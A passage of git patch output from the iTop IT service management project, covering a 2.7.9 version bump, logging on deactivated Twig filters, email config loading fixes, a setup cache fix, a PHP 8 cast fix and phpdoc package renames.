b/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php @@ -21,6 +21,7 @@ namespace Combodo\iTop\Portal\Twig; use Closure; use Dict; +use IssueLog; use Twig\Extension\AbstractExtension; use Twig_SimpleFilter; use Twig_SimpleFunction; @@ -103,16 +104,19 @@ class AppExtension extends AbstractExtension $filters[] = new Twig_SimpleFilter('filter', function ($array, $arrow) { $ret = $this->SanitizeFilter($array, $arrow); if ($ret !== false) { + IssueLog::Error('Twig "filter" filter has limited capabilities'); return [$ret]; } return twig_array_filter($array, $arrow); }); // Since 2.7.8 deactivate map $filters[] = new Twig_SimpleFilter('map', function ($array, $arrow) { + IssueLog::Error('Twig "map" filter is deactivated'); return $array; }); // Since 2.7.8 deactivate reduce $filters[] = new Twig_SimpleFilter('reduce', function ($array, $arrow, $initial = null) { + IssueLog::Error('Twig "reduce" filter is deactivated'); return $array; }); From bb26e48d385137d52e04165982652d94cf18a222 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Mon, 12 Dec 2022 16:19:42 +0100 Subject: [PATCH 075/230] Update version to next release 2.7.9 --- approot.inc.php | 2 +- css/css-variables.scss | 2 +- datamodels/2.x/authent-cas/module.authent-cas.php | 2 +- datamodels/2.x/authent-external/module.authent-external.php | 2 +- datamodels/2.x/authent-ldap/module.authent-ldap.php | 2 +- datamodels/2.x/authent-local/module.authent-local.php | 2 +- datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php | 2 +- datamodels/2.x/itop-attachments/module.itop-attachments.php | 2 +- datamodels/2.x/itop-backup/module.itop-backup.php | 2 +- .../module.itop-bridge-virtualization-storage.php | 2 +- .../2.x/itop-change-mgmt-itil/module.itop-change-mgmt-itil.php | 2 +- datamodels/2.x/itop-change-mgmt/module.itop-change-mgmt.php | 2 +- datamodels/2.x/itop-config-mgmt/module.itop-config-mgmt.php | 2 +- datamodels/2.x/itop-config/module.itop-config.php | 2 +- datamodels/2.x/itop-core-update/module.itop-core-update.php | 2 +- .../2.x/itop-datacenter-mgmt/module.itop-datacenter-mgmt.php | 2 +- .../2.x/itop-endusers-devices/module.itop-endusers-devices.php | 2 +- .../itop-files-information/module.itop-files-information.php | 2 +- datamodels/2.x/itop-full-itil/module.itop-full-itil.php | 2 +- datamodels/2.x/itop-hub-connector/module.itop-hub-connector.php | 2 +- .../itop-incident-mgmt-itil/module.itop-incident-mgmt-itil.php | 2 +- .../2.x/itop-knownerror-mgmt/module.itop-knownerror-mgmt.php | 2 +- datamodels/2.x/itop-oauth-client/module.itop-oauth-client.php | 2 +- datamodels/2.x/itop-portal-base/module.itop-portal-base.php | 2 +- datamodels/2.x/itop-portal/module.itop-portal.php | 2 +- datamodels/2.x/itop-problem-mgmt/module.itop-problem-mgmt.php | 2 +- datamodels/2.x/itop-profiles-itil/module.itop-profiles-itil.php | 2 +- .../itop-request-mgmt-itil/module.itop-request-mgmt-itil.php | 2 +- datamodels/2.x/itop-request-mgmt/module.itop-request-mgmt.php | 2 +- .../module.itop-service-mgmt-provider.php | 2 +- datamodels/2.x/itop-service-mgmt/module.itop-service-mgmt.php | 2 +- .../2.x/itop-sla-computation/module.itop-sla-computation.php | 2 +- datamodels/2.x/itop-storage-mgmt/module.itop-storage-mgmt.php | 2 +- datamodels/2.x/itop-tickets/module.itop-tickets.php | 2 +- .../module.itop-virtualization-mgmt.php | 2 +- datamodels/2.x/itop-welcome-itil/module.itop-welcome-itil.php | 2 +- datamodels/2.x/version.xml | 2 +- 37 files changed, 37 insertions(+), 37 deletions(-) diff --git a/approot.inc.php b/approot.inc.php index 584656a30..1f15d92e6 100644 --- a/approot.inc.php +++ b/approot.inc.php @@ -14,7 +14,7 @@ define('APPCONF', APPROOT.'conf/'); * @used-by utils::GetItopVersionWikiSyntax() * @used-by iTopModulesPhpVersionIntegrationTest */ -define('ITOP_CORE_VERSION', '2.7.8'); +define('ITOP_CORE_VERSION', '2.7.9'); require_once APPROOT.'bootstrap.inc.php'; diff --git a/css/css-variables.scss b/css/css-variables.scss index c9d92854e..82cd83574 100644 --- a/css/css-variables.scss +++ b/css/css-variables.scss @@ -17,7 +17,7 @@ */ // Beware the version number MUST be enclosed with quotes otherwise v2.3.0 becomes v2 0.3 .0 -$version: "v2.7.8"; +$version: "v2.7.9"; $approot-relative: "../../../../../" !default; // relative to env-***/branding/themes/***/main.css // Base colors diff --git a/datamodels/2.x/authent-cas/module.authent-cas.php b/datamodels/2.x/authent-cas/module.authent-cas.php index abcbc3bc8..0e02cf396 100644 --- a/datamodels/2.x/authent-cas/module.authent-cas.php +++ b/datamodels/2.x/authent-cas/module.authent-cas.php @@ -5,7 +5,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'authent-cas/2.7.8', + 'authent-cas/2.7.9', array( // Identification // diff --git a/datamodels/2.x/authent-external/module.authent-external.php b/datamodels/2.x/authent-external/module.authent-external.php index 417b3dafa..b6f32c2e0 100755 --- a/datamodels/2.x/authent-external/module.authent-external.php +++ b/datamodels/2.x/authent-external/module.authent-external.php @@ -27,7 +27,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'authent-external/2.7.8', + 'authent-external/2.7.9', array( // Identification // diff --git a/datamodels/2.x/authent-ldap/module.authent-ldap.php b/datamodels/2.x/authent-ldap/module.authent-ldap.php index ee5b7d82b..cf3eadd13 100755 --- a/datamodels/2.x/authent-ldap/module.authent-ldap.php +++ b/datamodels/2.x/authent-ldap/module.authent-ldap.php @@ -9,7 +9,7 @@ if (function_exists('ldap_connect')) SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'authent-ldap/2.7.8', + 'authent-ldap/2.7.9', array( // Identification // diff --git a/datamodels/2.x/authent-local/module.authent-local.php b/datamodels/2.x/authent-local/module.authent-local.php index e834e4ac2..0f05acf1e 100755 --- a/datamodels/2.x/authent-local/module.authent-local.php +++ b/datamodels/2.x/authent-local/module.authent-local.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'authent-local/2.7.8', + 'authent-local/2.7.9', array( // Identification // diff --git a/datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php b/datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php index 2a8736a34..5ed80eb0e 100644 --- a/datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php +++ b/datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php @@ -24,7 +24,7 @@ /** @noinspection PhpUnhandledExceptionInspection */ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'combodo-db-tools/2.7.8', + 'combodo-db-tools/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-attachments/module.itop-attachments.php b/datamodels/2.x/itop-attachments/module.itop-attachments.php index 712273850..d71d0d5a7 100644 --- a/datamodels/2.x/itop-attachments/module.itop-attachments.php +++ b/datamodels/2.x/itop-attachments/module.itop-attachments.php @@ -19,7 +19,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-attachments/2.7.8', + 'itop-attachments/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-backup/module.itop-backup.php b/datamodels/2.x/itop-backup/module.itop-backup.php index 4b21634fe..c6479e6e9 100644 --- a/datamodels/2.x/itop-backup/module.itop-backup.php +++ b/datamodels/2.x/itop-backup/module.itop-backup.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-backup/2.7.8', + 'itop-backup/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-bridge-virtualization-storage/module.itop-bridge-virtualization-storage.php b/datamodels/2.x/itop-bridge-virtualization-storage/module.itop-bridge-virtualization-storage.php index 92f938e5d..b1feb3808 100644 --- a/datamodels/2.x/itop-bridge-virtualization-storage/module.itop-bridge-virtualization-storage.php +++ b/datamodels/2.x/itop-bridge-virtualization-storage/module.itop-bridge-virtualization-storage.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-bridge-virtualization-storage/2.7.8', + 'itop-bridge-virtualization-storage/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-change-mgmt-itil/module.itop-change-mgmt-itil.php b/datamodels/2.x/itop-change-mgmt-itil/module.itop-change-mgmt-itil.php index 4914769d9..499df5454 100755 --- a/datamodels/2.x/itop-change-mgmt-itil/module.itop-change-mgmt-itil.php +++ b/datamodels/2.x/itop-change-mgmt-itil/module.itop-change-mgmt-itil.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-change-mgmt-itil/2.7.8', + 'itop-change-mgmt-itil/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-change-mgmt/module.itop-change-mgmt.php b/datamodels/2.x/itop-change-mgmt/module.itop-change-mgmt.php index b680dc70d..ada9a591a 100755 --- a/datamodels/2.x/itop-change-mgmt/module.itop-change-mgmt.php +++ b/datamodels/2.x/itop-change-mgmt/module.itop-change-mgmt.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-change-mgmt/2.7.8', + 'itop-change-mgmt/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-config-mgmt/module.itop-config-mgmt.php b/datamodels/2.x/itop-config-mgmt/module.itop-config-mgmt.php index e9cf0bb61..d9d7caa27 100755 --- a/datamodels/2.x/itop-config-mgmt/module.itop-config-mgmt.php +++ b/datamodels/2.x/itop-config-mgmt/module.itop-config-mgmt.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-config-mgmt/2.7.8', + 'itop-config-mgmt/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-config/module.itop-config.php b/datamodels/2.x/itop-config/module.itop-config.php index 8e39e6603..da5211292 100644 --- a/datamodels/2.x/itop-config/module.itop-config.php +++ b/datamodels/2.x/itop-config/module.itop-config.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-config/2.7.8', + 'itop-config/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-core-update/module.itop-core-update.php b/datamodels/2.x/itop-core-update/module.itop-core-update.php index bf89f808a..12f394239 100644 --- a/datamodels/2.x/itop-core-update/module.itop-core-update.php +++ b/datamodels/2.x/itop-core-update/module.itop-core-update.php @@ -24,7 +24,7 @@ /** @noinspection PhpUnhandledExceptionInspection */ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-core-update/2.7.8', + 'itop-core-update/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-datacenter-mgmt/module.itop-datacenter-mgmt.php b/datamodels/2.x/itop-datacenter-mgmt/module.itop-datacenter-mgmt.php index a90b9a90e..71b113d4c 100755 --- a/datamodels/2.x/itop-datacenter-mgmt/module.itop-datacenter-mgmt.php +++ b/datamodels/2.x/itop-datacenter-mgmt/module.itop-datacenter-mgmt.php @@ -18,7 +18,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-datacenter-mgmt/2.7.8', + 'itop-datacenter-mgmt/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-endusers-devices/module.itop-endusers-devices.php b/datamodels/2.x/itop-endusers-devices/module.itop-endusers-devices.php index 64c9b6e49..f241ac38a 100644 --- a/datamodels/2.x/itop-endusers-devices/module.itop-endusers-devices.php +++ b/datamodels/2.x/itop-endusers-devices/module.itop-endusers-devices.php @@ -25,7 +25,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-endusers-devices/2.7.8', + 'itop-endusers-devices/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-files-information/module.itop-files-information.php b/datamodels/2.x/itop-files-information/module.itop-files-information.php index ed4aa1e6c..1826d4c83 100644 --- a/datamodels/2.x/itop-files-information/module.itop-files-information.php +++ b/datamodels/2.x/itop-files-information/module.itop-files-information.php @@ -24,7 +24,7 @@ /** @noinspection PhpUnhandledExceptionInspection */ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-files-information/2.7.8', + 'itop-files-information/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-full-itil/module.itop-full-itil.php b/datamodels/2.x/itop-full-itil/module.itop-full-itil.php index 07d273906..0bd00df05 100644 --- a/datamodels/2.x/itop-full-itil/module.itop-full-itil.php +++ b/datamodels/2.x/itop-full-itil/module.itop-full-itil.php @@ -6,7 +6,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-full-itil/2.7.8', + 'itop-full-itil/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-hub-connector/module.itop-hub-connector.php b/datamodels/2.x/itop-hub-connector/module.itop-hub-connector.php index 97d4a94b6..f254fe07c 100644 --- a/datamodels/2.x/itop-hub-connector/module.itop-hub-connector.php +++ b/datamodels/2.x/itop-hub-connector/module.itop-hub-connector.php @@ -5,7 +5,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-hub-connector/2.7.8', + 'itop-hub-connector/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-incident-mgmt-itil/module.itop-incident-mgmt-itil.php b/datamodels/2.x/itop-incident-mgmt-itil/module.itop-incident-mgmt-itil.php index 2c026ded8..f8cefa586 100755 --- a/datamodels/2.x/itop-incident-mgmt-itil/module.itop-incident-mgmt-itil.php +++ b/datamodels/2.x/itop-incident-mgmt-itil/module.itop-incident-mgmt-itil.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-incident-mgmt-itil/2.7.8', + 'itop-incident-mgmt-itil/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-knownerror-mgmt/module.itop-knownerror-mgmt.php b/datamodels/2.x/itop-knownerror-mgmt/module.itop-knownerror-mgmt.php index 27dd50843..d737d48b0 100755 --- a/datamodels/2.x/itop-knownerror-mgmt/module.itop-knownerror-mgmt.php +++ b/datamodels/2.x/itop-knownerror-mgmt/module.itop-knownerror-mgmt.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-knownerror-mgmt/2.7.8', + 'itop-knownerror-mgmt/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-oauth-client/module.itop-oauth-client.php b/datamodels/2.x/itop-oauth-client/module.itop-oauth-client.php index ae7cc02df..ce34e9bfa 100644 --- a/datamodels/2.x/itop-oauth-client/module.itop-oauth-client.php +++ b/datamodels/2.x/itop-oauth-client/module.itop-oauth-client.php @@ -5,7 +5,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-oauth-client/2.7.8', + 'itop-oauth-client/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-portal-base/module.itop-portal-base.php b/datamodels/2.x/itop-portal-base/module.itop-portal-base.php index c94d06101..cc667f71b 100644 --- a/datamodels/2.x/itop-portal-base/module.itop-portal-base.php +++ b/datamodels/2.x/itop-portal-base/module.itop-portal-base.php @@ -20,7 +20,7 @@ /** @noinspection PhpUnhandledExceptionInspection */ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-portal-base/2.7.8', array( + 'itop-portal-base/2.7.9', array( // Identification 'label' => 'Portal Development Library', 'category' => 'Portal', diff --git a/datamodels/2.x/itop-portal/module.itop-portal.php b/datamodels/2.x/itop-portal/module.itop-portal.php index 99f47c646..54db0ab7f 100644 --- a/datamodels/2.x/itop-portal/module.itop-portal.php +++ b/datamodels/2.x/itop-portal/module.itop-portal.php @@ -20,7 +20,7 @@ /** @noinspection PhpUnhandledExceptionInspection */ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-portal/2.7.8', array( + 'itop-portal/2.7.9', array( // Identification 'label' => 'Enhanced Customer Portal', 'category' => 'Portal', diff --git a/datamodels/2.x/itop-problem-mgmt/module.itop-problem-mgmt.php b/datamodels/2.x/itop-problem-mgmt/module.itop-problem-mgmt.php index dc4d95d40..c39053e8c 100755 --- a/datamodels/2.x/itop-problem-mgmt/module.itop-problem-mgmt.php +++ b/datamodels/2.x/itop-problem-mgmt/module.itop-problem-mgmt.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-problem-mgmt/2.7.8', + 'itop-problem-mgmt/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-profiles-itil/module.itop-profiles-itil.php b/datamodels/2.x/itop-profiles-itil/module.itop-profiles-itil.php index 186603df5..c143f33e1 100755 --- a/datamodels/2.x/itop-profiles-itil/module.itop-profiles-itil.php +++ b/datamodels/2.x/itop-profiles-itil/module.itop-profiles-itil.php @@ -19,7 +19,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-profiles-itil/2.7.8', + 'itop-profiles-itil/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-request-mgmt-itil/module.itop-request-mgmt-itil.php b/datamodels/2.x/itop-request-mgmt-itil/module.itop-request-mgmt-itil.php index b1e626a4f..bc9f3b44c 100755 --- a/datamodels/2.x/itop-request-mgmt-itil/module.itop-request-mgmt-itil.php +++ b/datamodels/2.x/itop-request-mgmt-itil/module.itop-request-mgmt-itil.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-request-mgmt-itil/2.7.8', + 'itop-request-mgmt-itil/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-request-mgmt/module.itop-request-mgmt.php b/datamodels/2.x/itop-request-mgmt/module.itop-request-mgmt.php index 523893446..523ae50c0 100755 --- a/datamodels/2.x/itop-request-mgmt/module.itop-request-mgmt.php +++ b/datamodels/2.x/itop-request-mgmt/module.itop-request-mgmt.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-request-mgmt/2.7.8', + 'itop-request-mgmt/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-service-mgmt-provider/module.itop-service-mgmt-provider.php b/datamodels/2.x/itop-service-mgmt-provider/module.itop-service-mgmt-provider.php index c8988fc0a..4ea520e34 100755 --- a/datamodels/2.x/itop-service-mgmt-provider/module.itop-service-mgmt-provider.php +++ b/datamodels/2.x/itop-service-mgmt-provider/module.itop-service-mgmt-provider.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-service-mgmt-provider/2.7.8', + 'itop-service-mgmt-provider/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-service-mgmt/module.itop-service-mgmt.php b/datamodels/2.x/itop-service-mgmt/module.itop-service-mgmt.php index d4413480a..56894c009 100755 --- a/datamodels/2.x/itop-service-mgmt/module.itop-service-mgmt.php +++ b/datamodels/2.x/itop-service-mgmt/module.itop-service-mgmt.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-service-mgmt/2.7.8', + 'itop-service-mgmt/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-sla-computation/module.itop-sla-computation.php b/datamodels/2.x/itop-sla-computation/module.itop-sla-computation.php index 8db7fbdf0..9ceb2edbd 100755 --- a/datamodels/2.x/itop-sla-computation/module.itop-sla-computation.php +++ b/datamodels/2.x/itop-sla-computation/module.itop-sla-computation.php @@ -18,7 +18,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-sla-computation/2.7.8', + 'itop-sla-computation/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-storage-mgmt/module.itop-storage-mgmt.php b/datamodels/2.x/itop-storage-mgmt/module.itop-storage-mgmt.php index 662dc85e2..c4976379c 100644 --- a/datamodels/2.x/itop-storage-mgmt/module.itop-storage-mgmt.php +++ b/datamodels/2.x/itop-storage-mgmt/module.itop-storage-mgmt.php @@ -25,7 +25,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-storage-mgmt/2.7.8', + 'itop-storage-mgmt/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-tickets/module.itop-tickets.php b/datamodels/2.x/itop-tickets/module.itop-tickets.php index 7df1c18d3..5e6559880 100755 --- a/datamodels/2.x/itop-tickets/module.itop-tickets.php +++ b/datamodels/2.x/itop-tickets/module.itop-tickets.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, - 'itop-tickets/2.7.8', + 'itop-tickets/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-virtualization-mgmt/module.itop-virtualization-mgmt.php b/datamodels/2.x/itop-virtualization-mgmt/module.itop-virtualization-mgmt.php index b133ccdc0..b0ece5ff6 100644 --- a/datamodels/2.x/itop-virtualization-mgmt/module.itop-virtualization-mgmt.php +++ b/datamodels/2.x/itop-virtualization-mgmt/module.itop-virtualization-mgmt.php @@ -16,7 +16,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-virtualization-mgmt/2.7.8', + 'itop-virtualization-mgmt/2.7.9', array( // Identification // diff --git a/datamodels/2.x/itop-welcome-itil/module.itop-welcome-itil.php b/datamodels/2.x/itop-welcome-itil/module.itop-welcome-itil.php index 984c8b084..fd94b86d2 100755 --- a/datamodels/2.x/itop-welcome-itil/module.itop-welcome-itil.php +++ b/datamodels/2.x/itop-welcome-itil/module.itop-welcome-itil.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-welcome-itil/2.7.8', + 'itop-welcome-itil/2.7.9', array( // Identification // diff --git a/datamodels/2.x/version.xml b/datamodels/2.x/version.xml index cb24d3545..0289224c5 100755 --- a/datamodels/2.x/version.xml +++ b/datamodels/2.x/version.xml @@ -1,4 +1,4 @@ - 2.7.8 + 2.7.9 From 1f76ff940dc59b1d85b932552ce8b81d839feafb Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Tue, 13 Dec 2022 18:23:09 +0100 Subject: [PATCH 076/230] =?UTF-8?q?N=C2=B05797=20Replace=20wrong=20config?= =?UTF-8?q?=20load=20(#338)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- sources/Core/Email/EmailLaminas.php | 3 ++- sources/Core/Email/EmailSwiftMailer.php | 10 ++++------ 2 files changed, 6 insertions(+), 7 deletions(-) diff --git a/sources/Core/Email/EmailLaminas.php b/sources/Core/Email/EmailLaminas.php index eadbf984f..a0c44a36b 100644 --- a/sources/Core/Email/EmailLaminas.php +++ b/sources/Core/Email/EmailLaminas.php @@ -315,7 +315,8 @@ class EMailLaminas extends Email if ($bForceSynchronous) { return $this->SendSynchronous($aIssues, $oLog); } else { - $bConfigASYNC = MetaModel::GetConfig()->Get('email_asynchronous'); + $oConfig = $this->LoadConfig(); + $bConfigASYNC = $oConfig->Get('email_asynchronous'); if ($bConfigASYNC) { return $this->SendAsynchronous($aIssues, $oLog); } else { diff --git a/sources/Core/Email/EmailSwiftMailer.php b/sources/Core/Email/EmailSwiftMailer.php index 03b2d4801..4d71ffa97 100644 --- a/sources/Core/Email/EmailSwiftMailer.php +++ b/sources/Core/Email/EmailSwiftMailer.php @@ -273,13 +273,11 @@ class EmailSwiftMailer extends EMail } else { - $bConfigASYNC = MetaModel::GetConfig()->Get('email_asynchronous'); - if ($bConfigASYNC) - { + $oConfig = $this->LoadConfig(); + $bConfigASYNC = $oConfig->Get('email_asynchronous'); + if ($bConfigASYNC) { return $this->SendAsynchronous($aIssues, $oLog); - } - else - { + } else { return $this->SendSynchronous($aIssues, $oLog); } } From 7c2f8f4d9361711492dda7aa9beeea18273321f3 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Wed, 14 Dec 2022 09:33:54 +0100 Subject: [PATCH 077/230] =?UTF-8?q?N=C2=B05765=20-=20Setup:=20Never=20cach?= =?UTF-8?q?e=20folder=20permissions=20test=20response=20(#374)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- setup/setup.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/setup/setup.js b/setup/setup.js index 62ae1b733..7d915606a 100644 --- a/setup/setup.js +++ b/setup/setup.js @@ -54,8 +54,8 @@ function ExecuteStep(sStep) } function CheckDirectoryConfFilesPermissions(sWikiVersion){ - $.ajax('permissions-test-folder/permissions-test-subfolder/permissions-test-file', - { + $.ajax('permissions-test-folder/permissions-test-subfolder/permissions-test-file', { + cache: false, statusCode: { 200: function() { $('#details').prepend('
Security issue: iTop is bundled with directory-level configuration files. You must check that those files will be read by your web server (eg.' + From 6d47b0f4f8bec3b49a0fbd0d18abf1834bc60a16 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Wed, 14 Dec 2022 20:34:40 +0100 Subject: [PATCH 078/230] =?UTF-8?q?N=C2=B04517=20-=20PHP=208.0:=20Fix=20un?= =?UTF-8?q?defined=20array=20key=20due=20to=20type=20cast=20being=20done?= =?UTF-8?q?=20before=20coalesce?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/asynctask.class.inc.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/asynctask.class.inc.php b/core/asynctask.class.inc.php index 70b3d1fb0..c7030c04d 100644 --- a/core/asynctask.class.inc.php +++ b/core/asynctask.class.inc.php @@ -181,7 +181,7 @@ abstract class AsyncTask extends DBObject if (is_array($aRetries) && array_key_exists(get_class($this), $aRetries)) { $aConfig = $aRetries[get_class($this)]; - $bExponential = (bool)$aConfig['exponential_delay'] ?? $bExponential; + $bExponential = (bool) ($aConfig['exponential_delay'] ?? $bExponential); } return $bExponential; } From 0d49c605e212842a6db28f78c1a4b8786303b2e2 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Thu, 15 Dec 2022 15:36:14 +0100 Subject: [PATCH 079/230] :bulb: Fix \DBSearch::FromOQL phpdoc + modifiers order --- core/dbsearch.class.php | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/dbsearch.class.php b/core/dbsearch.class.php index 81f615d4e..1dbe02c44 100644 --- a/core/dbsearch.class.php +++ b/core/dbsearch.class.php @@ -754,14 +754,14 @@ abstract class DBSearch * @see DBSearch::ToOQL() * * @param string $sQuery The OQL to convert to a DBSearch - * @param mixed[string] $aParams array of params index by name + * @param array $aParams array of params index by name * @param ModelReflection|null $oMetaModel The MetaModel to use when checking the consistency of the OQL * * @return DBObjectSearch|DBUnionSearch * * @throws OQLException */ - static public function FromOQL($sQuery, $aParams = null, ModelReflection $oMetaModel=null) + public static function FromOQL($sQuery, $aParams = null, ModelReflection $oMetaModel=null) { if (empty($sQuery)) { From b37e74b407c9baf76b6ae30014b132272ae8fdb2 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Wed, 28 Dec 2022 09:51:46 +0100 Subject: [PATCH 080/230] :memo: Change packages for auto-documentation --- application/applicationextension.inc.php | 40 ++++++++++++------------ core/restservices.class.inc.php | 4 +-- 2 files changed, 22 insertions(+), 22 deletions(-) diff --git a/application/applicationextension.inc.php b/application/applicationextension.inc.php index e3f929c21..912485191 100644 --- a/application/applicationextension.inc.php +++ b/application/applicationextension.inc.php @@ -227,7 +227,7 @@ interface iLoginUIExtension extends iLoginExtension /** * @api - * @package Extensibility + * @package PreferencesExtensibilityAPI * @since 2.7.0 */ interface iPreferencesExtension @@ -251,7 +251,7 @@ interface iPreferencesExtension * Extend this class instead of implementing iPreferencesExtension if you don't need to overload all methods * * @api - * @package Extensibility + * @package PreferencesExtensibilityAPI * @since 2.7.0 */ abstract class AbstractPreferencesExtension implements iPreferencesExtension @@ -297,7 +297,7 @@ abstract class AbstractPreferencesExtension implements iPreferencesExtension * A recommended pattern is to cache data by the mean of static members. * * @api - * @package Extensibility + * @package UIExtensibilityAPI */ interface iApplicationUIExtension { @@ -438,7 +438,7 @@ interface iApplicationUIExtension * Extend this class instead of implementing iApplicationUIExtension if you don't need to overload * * @api - * @package Extensibility + * @package UIExtensibilityAPI * @since 2.7.0 */ abstract class AbstractApplicationUIExtension implements iApplicationUIExtension @@ -512,7 +512,7 @@ abstract class AbstractApplicationUIExtension implements iApplicationUIExtension * or through the GUI. * * @api - * @package Extensibility + * @package ORMExtensibilityAPI */ interface iApplicationObjectExtension { @@ -606,7 +606,7 @@ interface iApplicationObjectExtension * Extend this class instead of iApplicationObjectExtension if you don't need to overload all methods * * @api - * @package Extensibility + * @package ORMExtensibilityAPI * @since 2.7.0 */ abstract class AbstractApplicationObjectExtension implements iApplicationObjectExtension @@ -666,7 +666,7 @@ abstract class AbstractApplicationObjectExtension implements iApplicationObjectE * by the application, as long as the class definition is included somewhere in the code * * @api - * @package Extensibility + * @package UIExtensibilityAPI * @since 2.0 */ interface iPopupMenuExtension @@ -765,7 +765,7 @@ interface iPopupMenuExtension * Base class for the various types of custom menus * * @api - * @package Extensibility + * @package UIExtensibilityAPI * @since 2.0 */ abstract class 